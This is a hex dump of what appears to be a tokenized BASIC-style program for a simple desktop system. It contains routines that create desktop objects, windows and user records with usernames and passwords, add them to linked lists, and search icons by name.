|000010f0| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001100| 20 20 20 20 da 01 24 20 | 26 2a 6e 65 77 5c 4e 61 | ..$ |&*new\Na|
|00001110| 6d 65 2c 6e 61 6d 65 24 | 00 20 20 20 20 20 20 20 |me,name$|. |
|00001120| 20 20 20 20 20 20 20 20 | 20 80 c0 00 20 20 20 20 | | ... |
|00001130| 20 20 20 20 20 20 20 20 | 20 20 20 20 80 09 20 80 | | .. .|
|00001140| 07 20 2a 6e 65 77 00 20 | 20 20 20 20 20 20 20 20 |. *new. | |
|00001150| 20 20 20 20 20 20 20 80 | 02 20 80 09 00 00 00 20 | .|. ..... |
|00001160| 20 20 20 80 09 2e 6c 20 | 20 43 72 65 61 74 65 44 | ...l | CreateD|
|00001170| 65 73 6b 4f 62 6a 65 63 | 74 7b 7d 00 20 20 20 20 |eskObjec|t{}. |
|00001180| 20 20 20 20 20 20 20 20 | 20 20 20 20 2a 6e 65 77 | | *new|
|00001190| 2e 44 65 73 6b 4f 62 6a | 65 63 74 20 3d 20 a6 08 |.DeskObj|ect = ..|
|000011a0| 28 80 2f 2e 44 65 73 6b | 4f 62 6a 65 63 74 2c 30 |(./.Desk|Object,0|
|000011b0| 7c 36 35 35 33 36 29 00 | 20 20 20 20 20 20 20 20 ||65536).| |
|000011c0| 20 20 20 20 20 20 20 20 | 80 0b 20 2a 6e 65 77 00 | |.. *new.|
|000011d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000011e0| 20 20 20 a5 99 20 2a 6e | 65 77 2c 80 2f 2e 44 65 | .. *n|ew,./.De|
|000011f0| 73 6b 4f 62 6a 65 63 74 | 2c 30 00 20 20 20 20 20 |skObject|,0. |
|00001200| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 2a 6e | | *n|
|00001210| 65 77 5c 56 61 6c 69 64 | 61 74 69 6f 6e 20 20 20 |ew\Valid|ation |
|00001220| 20 20 3d 20 23 4c 65 67 | 61 6c 5f 44 65 73 6b 4f | = #Leg|al_DeskO|
|00001230| 62 6a 65 63 74 00 20 20 | 20 20 20 20 20 20 20 20 |bject. | |
|00001240| 20 20 20 20 20 20 20 20 | 20 2a 6e 65 77 5c 4e 65 | | *new\Ne|
|00001250| 78 74 44 65 73 6b 4f 62 | 6a 65 63 74 20 3d 20 bc |xtDeskOb|ject = .|
|00001260| 0f 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00001270| 20 20 80 c0 00 20 20 20 | 20 20 20 20 20 20 20 20 | ... | |
|00001280| 20 20 20 20 20 80 09 20 | 80 07 20 2a 6e 65 77 00 | .. |.. *new.|
|00001290| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000012a0| 80 02 20 80 09 00 00 00 | 20 20 20 20 80 09 2e 6c |.. .....| ...l|
|000012b0| 20 20 43 72 65 61 74 65 | 44 65 73 6b 57 69 6e 64 | Create|DeskWind|
|000012c0| 6f 77 7b 57 69 6e 64 6f | 77 49 44 2e 6c 2c 70 61 |ow{Windo|wID.l,pa|
|000012d0| 74 68 24 7d 00 20 20 20 | 20 20 20 20 20 20 20 20 |th$}. | |
|000012e0| 20 20 20 20 20 2a 6e 65 | 77 2e 44 65 73 6b 57 69 | *ne|w.DeskWi|
|000012f0| 6e 64 6f 77 20 3d 20 a6 | 08 28 80 2f 2e 44 65 73 |ndow = .|.(./.Des|
|00001300| 6b 57 69 6e 64 6f 77 2c | 30 7c 36 35 35 33 36 29 |kWindow,|0|65536)|
|00001310| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001320| 20 80 0b 20 2a 6e 65 77 | 00 20 20 20 20 20 20 20 | .. *new|. |
|00001330| 20 20 20 20 20 20 20 20 | 20 20 20 20 a5 99 20 2a | | .. *|
|00001340| 6e 65 77 2c 80 2f 2e 44 | 65 73 6b 57 69 6e 64 6f |new,./.D|eskWindo|
|00001350| 77 2c 30 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |w,0. | |
|00001360| 20 20 20 20 20 20 20 2a | 6e 65 77 5c 56 61 6c 69 | *|new\Vali|
|00001370| 64 61 74 69 6f 6e 20 3d | 20 23 4c 65 67 61 6c 5f |dation =| #Legal_|
|00001380| 44 65 73 6b 57 69 6e 64 | 6f 77 00 20 20 20 20 20 |DeskWind|ow. |
|00001390| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 2a 6e | | *n|
|000013a0| 65 77 5c 46 69 72 73 74 | 44 65 73 6b 4f 62 6a 65 |ew\First|DeskObje|
|000013b0| 63 74 20 3d 20 bc 0f 00 | 20 20 20 20 20 20 20 20 |ct = ...| |
|000013c0| 20 20 20 20 20 20 20 20 | 20 20 20 2a 6e 65 77 5c | | *new\|
|000013d0| 46 69 6c 65 4c 69 73 74 | 20 3d 20 bc 0f 00 20 20 |FileList| = ... |
|000013e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000013f0| 20 2a 6e 65 77 5c 4e 65 | 78 74 44 65 73 6b 57 69 | *new\Ne|xtDeskWi|
|00001400| 6e 64 6f 77 20 3d 20 bc | 0f 00 20 20 20 20 20 20 |ndow = .|.. |
|00001410| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2a 6e 65 | | *ne|
|00001420| 77 5c 4e 61 76 69 67 61 | 74 65 20 3d 20 bc 0e 00 |w\Naviga|te = ...|
|00001430| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001440| 20 20 20 2a 6e 65 77 5c | 57 69 6e 64 6f 77 49 44 | *new\|WindowID|
|00001450| 20 3d 20 57 69 6e 64 6f | 77 49 44 00 20 20 20 20 | = Windo|wID. |
|00001460| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 da | | .|
|00001470| 01 24 20 26 2a 6e 65 77 | 5c 57 69 6e 64 6f 77 50 |.$ &*new|\WindowP|
|00001480| 61 74 68 2c 70 61 74 68 | 24 00 20 20 20 20 20 20 |ath,path|$. |
|00001490| 20 20 20 20 20 20 20 20 | 20 20 80 c0 00 20 20 20 | | ... |
|000014a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 80 09 20 | | .. |
|000014b0| 80 07 20 2a 6e 65 77 00 | 20 20 20 20 20 20 20 20 |.. *new.| |
|000014c0| 20 20 20 20 20 20 20 20 | 80 02 20 80 09 00 00 00 | |.. .....|
|000014d0| 20 20 80 09 2e 6c 20 20 | 43 72 65 61 74 65 55 73 | ...l |CreateUs|
|000014e0| 65 72 7b 55 73 65 72 6e | 61 6d 65 24 2c 50 61 73 |er{Usern|ame$,Pas|
|000014f0| 73 77 6f 72 64 24 2c 55 | 73 65 72 74 79 70 65 2e |sword$,U|sertype.|
|00001500| 62 7d 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |b}. | |
|00001510| 20 2a 6e 65 77 2e 55 73 | 65 72 20 3d 20 a6 08 28 | *new.Us|er = ..(|
|00001520| 80 2f 2e 55 73 65 72 2c | 30 7c 36 35 35 33 36 29 |./.User,|0|65536)|
|00001530| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 |. | .|
|00001540| 0b 20 2a 6e 65 77 00 20 | 20 20 20 20 20 20 20 20 |. *new. | |
|00001550| 20 20 20 20 20 20 20 20 | a5 99 20 2a 6e 65 77 2c | |.. *new,|
|00001560| 80 2f 2e 55 73 65 72 2c | 30 20 3b 68 6f 70 65 20 |./.User,|0 ;hope |
|00001570| 68 65 27 73 20 6e 6f 74 | 20 66 61 74 21 00 20 20 |he's not| fat!. |
|00001580| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 2a | | *|
|00001590| 6e 65 77 5c 56 61 6c 69 | 64 61 74 69 6f 6e 20 20 |new\Vali|dation |
|000015a0| 3d 20 23 4c 65 67 61 6c | 5f 55 73 65 72 00 20 20 |= #Legal|_User. |
|000015b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 2a | | *|
|000015c0| 6e 65 77 5c 55 73 65 72 | 54 79 70 65 20 20 20 20 |new\User|Type |
|000015d0| 3d 20 55 73 65 72 74 79 | 70 65 00 20 20 20 20 20 |= Userty|pe. |
|000015e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 da 01 24 20 | | ..$ |
|000015f0| 26 2a 6e 65 77 5c 55 73 | 65 72 6e 61 6d 65 2c 55 |&*new\Us|ername,U|
|00001600| 73 65 72 6e 61 6d 65 24 | 00 20 20 20 20 20 20 20 |sername$|. |
|00001610| 20 20 20 20 20 20 20 20 | 20 20 da 01 24 20 26 2a | | ..$ &*|
|00001620| 6e 65 77 5c 50 61 73 73 | 77 6f 72 64 2c 50 61 73 |new\Pass|word,Pas|
|00001630| 73 77 6f 72 64 24 00 20 | 20 20 20 20 20 20 20 20 |sword$. | |
|00001640| 20 20 20 20 20 20 20 20 | 2a 4e 65 78 74 55 73 65 | |*NextUse|
|00001650| 72 20 3d 20 bc 0f 00 20 | 20 20 20 20 20 20 20 20 |r = ... | |
|00001660| 20 20 20 20 20 80 c0 00 | 20 20 20 20 20 20 20 20 | ...| |
|00001670| 20 20 20 20 20 20 80 09 | 20 80 07 20 2a 6e 65 77 | ..| .. *new|
|00001680| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 |. | .|
|00001690| 02 20 80 09 00 00 00 00 | 20 20 20 20 3b 3d 3d 3d |. ......| ;===|
|000016a0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000016b0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000016c0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000016d0| 00 20 20 20 20 3b 3e 20 | 52 6f 6f 74 20 41 64 64 |. ;> |Root Add|
|000016e0| 69 6e 67 2e 00 20 20 20 | 20 3b 3d 3d 3d 3d 3d 3d |ing.. | ;======|
|000016f0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00001700| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00001710| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 00 00 20 |========|=====.. |
|00001720| 20 20 20 80 08 20 41 64 | 64 49 63 6f 6e 7b 2a 74 | .. Ad|dIcon{*t|
|00001730| 68 69 73 2e 49 63 6f 6e | 7d 00 20 20 20 20 20 20 |his.Icon|}. |
|00001740| 20 20 20 20 20 20 20 20 | 80 15 20 2a 43 6f 72 65 | |.. *Core|
|00001750| 2e 44 65 73 6b 74 6f 70 | 00 20 20 20 20 20 20 20 |.Desktop|. |
|00001760| 20 20 20 20 20 20 20 80 | 0b 20 52 65 6c 69 61 62 | .|. Reliab|
|00001770| 6c 65 5f 49 63 6f 6e 7b | 2a 74 68 69 73 7d 00 20 |le_Icon{|*this}. |
|00001780| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001790| 80 0b 20 52 65 6c 69 61 | 62 6c 65 5f 49 63 6f 6e |.. Relia|ble_Icon|
|000017a0| 7b 2a 43 6f 72 65 5c 46 | 69 72 73 74 49 63 6f 6e |{*Core\F|irstIcon|
|000017b0| 7d 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |}. | |
|000017c0| 20 20 20 20 20 20 2a 74 | 65 6d 70 2e 49 63 6f 6e | *t|emp.Icon|
|000017d0| 20 3d 20 2a 43 6f 72 65 | 5c 46 69 72 73 74 49 63 | = *Core|\FirstIc|
|000017e0| 6f 6e 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |on. | |
|000017f0| 20 20 20 20 20 20 20 80 | 0c 20 2a 74 65 6d 70 5c | .|. *temp\|
|00001800| 4e 65 78 74 49 63 6f 6e | 00 20 20 20 20 20 20 20 |NextIcon|. |
|00001810| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2a 74 65 | | *te|
|00001820| 6d 70 3d 2a 74 65 6d 70 | 5c 4e 65 78 74 49 63 6f |mp=*temp|\NextIco|
|00001830| 6e 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |n. | |
|00001840| 20 20 20 20 20 20 80 c1 | 00 20 20 20 20 20 20 20 | ..|. |
|00001850| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2a 74 65 | | *te|
|00001860| 6d 70 5c 4e 65 78 74 49 | 63 6f 6e 20 3d 20 20 2a |mp\NextI|con = *|
|00001870| 74 68 69 73 00 20 20 20 | 20 20 20 20 20 20 20 20 |this. | |
|00001880| 20 20 20 20 20 20 80 22 | 00 20 20 20 20 20 20 20 | ."|. |
|00001890| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2a 43 6f | | *Co|
|000018a0| 72 65 5c 46 69 72 73 74 | 49 63 6f 6e 3d 20 20 2a |re\First|Icon= *|
|000018b0| 74 68 69 73 00 20 20 20 | 20 20 20 20 20 20 20 20 |this. | |
|000018c0| 20 20 20 20 20 20 80 c0 | 00 20 20 20 20 20 20 20 | ..|. |
|000018d0| 20 20 20 20 20 20 20 20 | 20 20 2a 74 68 69 73 5c | | *this\|
|000018e0| 4e 65 78 74 49 63 6f 6e | 20 3d 20 bc 0f 00 20 20 |NextIcon| = ... |
|000018f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 80 c0 00 20 | | ... |
|00001900| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 80 02 20 | | .. |
|00001910| 80 08 00 00 00 20 20 20 | 20 80 08 20 41 64 64 44 |..... | .. AddD|
|00001920| 65 73 6b 4f 62 6a 65 63 | 74 7b 2a 74 68 69 73 2e |eskObjec|t{*this.|
|00001930| 44 65 73 6b 4f 62 6a 65 | 63 74 2c 2a 74 68 61 74 |DeskObje|ct,*that|
|00001940| 2e 44 65 73 6b 57 69 6e | 64 6f 77 7d 00 20 20 20 |.DeskWin|dow}. |
|00001950| 20 20 20 20 20 20 20 20 | 20 20 20 80 0b 20 52 65 | | .. Re|
|00001960| 6c 69 61 62 6c 65 5f 44 | 65 73 6b 57 69 6e 64 6f |liable_D|eskWindo|
|00001970| 77 7b 2a 74 68 61 74 7d | 00 20 20 20 20 20 20 20 |w{*that}|. |
|00001980| 20 20 20 20 20 20 20 20 | 20 20 80 0b 20 52 65 6c | | .. Rel|
|00001990| 69 61 62 6c 65 5f 44 65 | 73 6b 4f 62 6a 65 63 74 |iable_De|skObject|
|000019a0| 7b 2a 74 68 69 73 7d 00 | 20 20 20 20 20 20 20 20 |{*this}.| |
|000019b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 80 0b 20 52 | | .. R|
|000019c0| 65 6c 69 61 62 6c 65 5f | 44 65 73 6b 4f 62 6a 65 |eliable_|DeskObje|
|000019d0| 63 74 7b 2a 74 68 61 74 | 5c 46 69 72 73 74 44 65 |ct{*that|\FirstDe|
|000019e0| 73 6b 4f 62 6a 65 63 74 | 7d 00 20 20 20 20 20 20 |skObject|}. |
|000019f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001a00| 20 2a 74 65 6d 70 2e 44 | 65 73 6b 4f 62 6a 65 63 | *temp.D|eskObjec|
|00001a10| 74 20 3d 20 2a 74 68 61 | 74 5c 46 69 72 73 74 44 |t = *tha|t\FirstD|
|00001a20| 65 73 6b 4f 62 6a 65 63 | 74 00 20 20 20 20 20 20 |eskObjec|t. |
|00001a30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001a40| 20 80 0c 20 2a 74 65 6d | 70 5c 4e 65 78 74 44 65 | .. *tem|p\NextDe|
|00001a50| 73 6b 4f 62 6a 65 63 74 | 00 20 20 20 20 20 20 20 |skObject|. |
|00001a60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001a70| 2a 74 65 6d 70 3d 2a 74 | 65 6d 70 5c 4e 65 78 74 |*temp=*t|emp\Next|
|00001a80| 44 65 73 6b 4f 62 6a 65 | 63 74 00 20 20 20 20 20 |DeskObje|ct. |
|00001a90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001aa0| 20 20 80 c1 00 20 20 20 | 20 20 20 20 20 20 20 20 | ... | |
|00001ab0| 20 20 20 20 20 20 20 20 | 20 20 20 20 2a 74 65 6d | | *tem|
|00001ac0| 70 5c 4e 65 78 74 44 65 | 73 6b 4f 62 6a 65 63 74 |p\NextDe|skObject|
|00001ad0| 20 3d 20 2a 74 68 69 73 | 00 20 20 20 20 20 20 20 | = *this|. |
|00001ae0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 80 22 00 | | .".|
|00001af0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001b00| 20 20 20 20 20 20 20 2a | 74 68 61 74 5c 46 69 72 | *|that\Fir|
|00001b10| 73 74 44 65 73 6b 4f 62 | 6a 65 63 74 20 3d 20 2a |stDeskOb|ject = *|
|00001b20| 74 68 69 73 00 20 20 20 | 20 20 20 20 20 20 20 20 |this. | |
|00001b30| 20 20 20 20 20 20 20 20 | 20 80 c0 00 20 20 20 20 | | ... |
|00001b40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2a 74 68 | | *th|
|00001b50| 69 73 5c 4e 65 78 74 44 | 65 73 6b 4f 62 6a 65 63 |is\NextD|eskObjec|
|00001b60| 74 20 3d 20 bc 0f 00 20 | 20 20 20 20 20 20 20 20 |t = ... | |
|00001b70| 20 20 20 20 20 20 20 20 | 80 c0 00 20 20 20 20 20 | |... |
|00001b80| 20 20 20 20 20 20 20 20 | 20 80 c0 00 20 20 20 20 | | ... |
|00001b90| 20 20 20 20 20 20 20 20 | 20 20 80 02 20 80 08 00 | | .. ...|
|00001ba0| 00 00 20 20 20 20 80 08 | 20 41 64 64 44 65 73 6b |.. ..| AddDesk|
|00001bb0| 57 69 6e 64 6f 77 7b 2a | 74 68 69 73 2e 44 65 73 |Window{*|this.Des|
|00001bc0| 6b 57 69 6e 64 6f 77 7d | 00 20 20 20 20 20 20 20 |kWindow}|. |
|00001bd0| 20 20 20 20 20 20 20 80 | 15 20 2a 43 6f 72 65 2e | .|. *Core.|
|00001be0| 44 65 73 6b 74 6f 70 00 | 20 20 20 20 20 20 20 20 |Desktop.| |
|00001bf0| 20 20 20 20 20 20 80 0b | 20 52 65 6c 69 61 62 6c | ..| Reliabl|
|00001c00| 65 5f 44 65 73 6b 57 69 | 6e 64 6f 77 7b 2a 74 68 |e_DeskWi|ndow{*th|
|00001c10| 69 73 7d 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |is}. | |
|00001c20| 20 20 20 20 20 80 0b 20 | 52 65 6c 69 61 62 6c 65 | .. |Reliable|
|00001c30| 5f 44 65 73 6b 57 69 6e | 64 6f 77 7b 2a 43 6f 72 |_DeskWin|dow{*Cor|
|00001c40| 65 5c 46 69 72 73 74 44 | 65 73 6b 57 69 6e 64 6f |e\FirstD|eskWindo|
|00001c50| 77 7d 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |w}. | |
|00001c60| 20 20 20 20 20 20 20 2a | 74 65 6d 70 2e 44 65 73 | *|temp.Des|
|00001c70| 6b 57 69 6e 64 6f 77 20 | 3d 20 2a 43 6f 72 65 5c |kWindow |= *Core\|
|00001c80| 46 69 72 73 74 44 65 73 | 6b 57 69 6e 64 6f 77 00 |FirstDes|kWindow.|
|00001c90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001ca0| 20 20 20 20 80 0c 20 2a | 74 65 6d 70 5c 4e 65 78 | .. *|temp\Nex|
|00001cb0| 74 44 65 73 6b 57 69 6e | 64 6f 77 00 20 20 20 20 |tDeskWin|dow. |
|00001cc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001cd0| 2a 74 65 6d 70 3d 2a 74 | 65 6d 70 5c 4e 65 78 74 |*temp=*t|emp\Next|
|00001ce0| 44 65 73 6b 57 69 6e 64 | 6f 77 00 20 20 20 20 20 |DeskWind|ow. |
|00001cf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 | | .|
|00001d00| c1 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00001d10| 20 20 20 20 20 20 2a 74 | 65 6d 70 5c 4e 65 78 74 | *t|emp\Next|
|00001d20| 44 65 73 6b 57 69 6e 64 | 6f 77 20 3d 20 2a 74 68 |DeskWind|ow = *th|
|00001d30| 69 73 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |is. | |
|00001d40| 20 20 20 20 80 22 00 20 | 20 20 20 20 20 20 20 20 | .". | |
|00001d50| 20 20 20 20 20 20 20 20 | 20 20 20 2a 43 6f 72 65 | | *Core|
|00001d60| 5c 46 69 72 73 74 44 65 | 73 6b 57 69 6e 64 6f 77 |\FirstDe|skWindow|
|00001d70| 20 3d 20 2a 74 68 69 73 | 00 20 20 20 20 20 20 20 | = *this|. |
|00001d80| 20 20 20 20 20 20 20 20 | 20 20 80 c0 00 20 20 20 | | ... |
|00001d90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 2a 74 | | *t|
|00001da0| 68 69 73 5c 4e 65 78 74 | 44 65 73 6b 57 69 6e 64 |his\Next|DeskWind|
|00001db0| 6f 77 20 3d 20 bc 0f 00 | 20 20 20 20 20 20 20 20 |ow = ...| |
|00001dc0| 20 20 20 20 20 20 80 c0 | 00 20 20 20 20 20 20 20 | ..|. |
|00001dd0| 20 20 20 20 20 20 20 80 | 02 20 80 08 00 00 00 20 | .|. ..... |
|00001de0| 20 80 08 20 20 20 41 64 | 64 55 73 65 72 7b 2a 74 | .. Ad|dUser{*t|
|00001df0| 68 69 73 2e 55 73 65 72 | 7d 00 20 20 20 20 20 20 |his.User|}. |
|00001e00| 20 20 20 20 20 20 20 20 | 80 15 20 2a 43 6f 72 65 | |.. *Core|
|00001e10| 2e 44 65 73 6b 74 6f 70 | 00 20 20 20 20 20 20 20 |.Desktop|. |
|00001e20| 20 20 20 20 20 20 20 80 | 0b 20 52 65 6c 69 61 62 | .|. Reliab|
|00001e30| 6c 65 5f 55 73 65 72 7b | 2a 74 68 69 73 7d 00 20 |le_User{|*this}. |
|00001e40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001e50| 2a 74 68 69 73 5c 4e 65 | 78 74 55 73 65 72 20 3d |*this\Ne|xtUser =|
|00001e60| 20 bc 0f 00 20 20 20 20 | 20 20 20 20 20 20 20 20 | ... | |
|00001e70| 20 20 20 20 20 80 0b 20 | 52 65 6c 69 61 62 6c 65 | .. |Reliable|
|00001e80| 5f 55 73 65 72 7b 2a 43 | 6f 72 65 5c 46 69 72 73 |_User{*C|ore\Firs|
|00001e90| 74 55 73 65 72 7d 00 20 | 20 20 20 20 20 20 20 20 |tUser}. | |
|00001ea0| 20 20 20 20 20 20 20 20 | 20 20 20 2a 74 65 6d 70 | | *temp|
|00001eb0| 2e 55 73 65 72 20 3d 20 | 2a 43 6f 72 65 5c 46 69 |.User = |*Core\Fi|
|00001ec0| 72 73 74 55 73 65 72 00 | 20 20 20 20 20 20 20 20 |rstUser.| |
|00001ed0| 20 20 20 20 20 20 20 20 | 20 20 20 20 80 0c 20 2a | | .. *|
|00001ee0| 74 65 6d 70 5c 4e 65 78 | 74 55 73 65 72 00 20 20 |temp\Nex|tUser. |
|00001ef0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001f00| 20 20 2a 74 65 6d 70 3d | 2a 74 65 6d 70 5c 4e 65 | *temp=|*temp\Ne|
|00001f10| 78 74 55 73 65 72 00 20 | 20 20 20 20 20 20 20 20 |xtUser. | |
|00001f20| 20 20 20 20 20 20 20 20 | 20 20 20 80 c1 00 20 20 | | ... |
|00001f30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001f40| 20 20 2a 74 65 6d 70 5c | 4e 65 78 74 55 73 65 72 | *temp\|NextUser|
|00001f50| 20 3d 20 2a 74 68 69 73 | 00 20 20 20 20 20 20 20 | = *this|. |
|00001f60| 20 20 20 20 20 20 20 20 | 20 20 80 22 00 20 20 20 | | .". |
|00001f70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001f80| 20 2a 43 6f 72 65 5c 46 | 69 72 73 74 55 73 65 72 | *Core\F|irstUser|
|00001f90| 20 3d 20 2a 74 68 69 73 | 00 20 20 20 20 20 20 20 | = *this|. |
|00001fa0| 20 20 20 20 20 20 20 20 | 20 20 80 c0 00 20 20 20 | | ... |
|00001fb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 2a 74 | | *t|
|00001fc0| 68 69 73 5c 4e 65 78 74 | 55 73 65 72 3d bc 0f 00 |his\Next|User=...|
|00001fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 c0 | | ..|
|00001fe0| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 |. | .|
|00001ff0| 02 20 80 08 00 00 00 00 | 00 20 20 20 20 3b 3d 3d |. ......|. ;==|
|00002000| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002010| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002020| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002030| 3d 00 20 20 20 20 3b 3e | 52 6f 6f 74 20 66 69 6e |=. ;>|Root fin|
|00002040| 64 69 6e 67 00 20 20 20 | 20 3b 3d 3d 3d 3d 3d 3d |ding. | ;======|
|00002050| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002060| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002070| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 00 00 20 |========|=====.. |
|00002080| 20 20 20 80 09 2e 6c 20 | 20 46 69 6e 64 49 63 6f | ...l | FindIco|
|00002090| 6e 7b 6e 61 6d 65 24 7d | 00 20 20 20 20 20 20 20 |n{name$}|. |
|000020a0| 20 20 20 20 20 20 20 20 | 20 80 15 20 2a 43 6f 72 | | .. *Cor|
|000020b0| 65 2e 44 65 73 6b 74 6f | 70 00 20 20 20 20 20 20 |e.Deskto|p. |
|000020c0| 20 20 20 20 20 20 20 20 | 20 20 2a 52 65 74 2e 49 | | *Ret.I|
|000020d0| 63 6f 6e 20 3d bc 0f 00 | 20 20 20 20 20 20 20 20 |con =...| |
|000020e0| 20 20 20 20 20 20 20 20 | 80 0b 20 52 65 6c 69 61 | |.. Relia|
|000020f0| 62 6c 65 5f 49 63 6f 6e | 7b 2a 43 6f 72 65 5c 46 |ble_Icon|{*Core\F|
|00002100| 69 72 73 74 49 63 6f 6e | 7d 00 20 20 20 20 20 20 |irstIcon|}. |
|00002110| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2a 74 65 | | *te|
|00002120| 6d 70 2e 49 63 6f 6e 3d | 2a 43 6f 72 65 5c 46 69 |mp.Icon=|*Core\Fi|
|00002130| 72 73 74 49 63 6f 6e 00 | 20 20 20 20 20 20 20 20 |rstIcon.| |
|00002140| 20 20 20 20 20 20 20 20 | 20 20 20 80 0c 20 52 65 | | .. Re|
|00002150| 6c 69 61 62 6c 65 5f 49 | 63 6f 6e 7b 2a 74 65 6d |liable_I|con{*tem|
|00002160| 70 7d 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |p}. | |
|00002170| 20 20 20 20 20 20 20 20 | 20 20 20 20 61 24 3d da | | a$=.|
|00002180| 02 24 28 26 2a 74 65 6d | 70 5c 4e 61 6d 65 29 00 |.$(&*tem|p\Name).|
|00002190| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000021a0| 20 20 20 20 20 20 20 20 | 20 80 0b 20 dc 97 28 6e | | .. ..(n|
|000021b0| 61 6d 65 24 29 3d dc 97 | 28 61 24 29 00 20 20 20 |ame$)=..|(a$). |
|000021c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000021d0| 20 20 20 20 20 20 20 20 | 20 2a 52 65 74 2e 49 63 | | *Ret.Ic|
|000021e0| 6f 6e 20 3d 20 2a 74 65 | 6d 70 00 20 20 20 20 20 |on = *te|mp. |
|000021f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002200| 20 20 20 20 20 20 20 2a | 74 65 6d 70 3d bc 0f 00 | *|temp=...|
|00002210| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002220| 20 20 20 20 20 20 20 20 | 20 80 c0 00 20 20 20 20 | | ... |
|00002230| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 | | .|
|00002240| 0b 20 2a 74 65 6d 70 20 | 80 21 20 2a 74 65 6d 70 |. *temp |.! *temp|
|00002250| 3d 2a 74 65 6d 70 5c 4e | 65 78 74 49 63 6f 6e 00 |=*temp\N|extIcon.|
|00002260| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002270| 20 20 20 80 c1 00 20 20 | 20 20 20 20 20 20 20 20 | ... | |
|00002280| 20 20 20 20 20 20 80 c0 | 00 20 20 20 20 20 20 20 | ..|. |
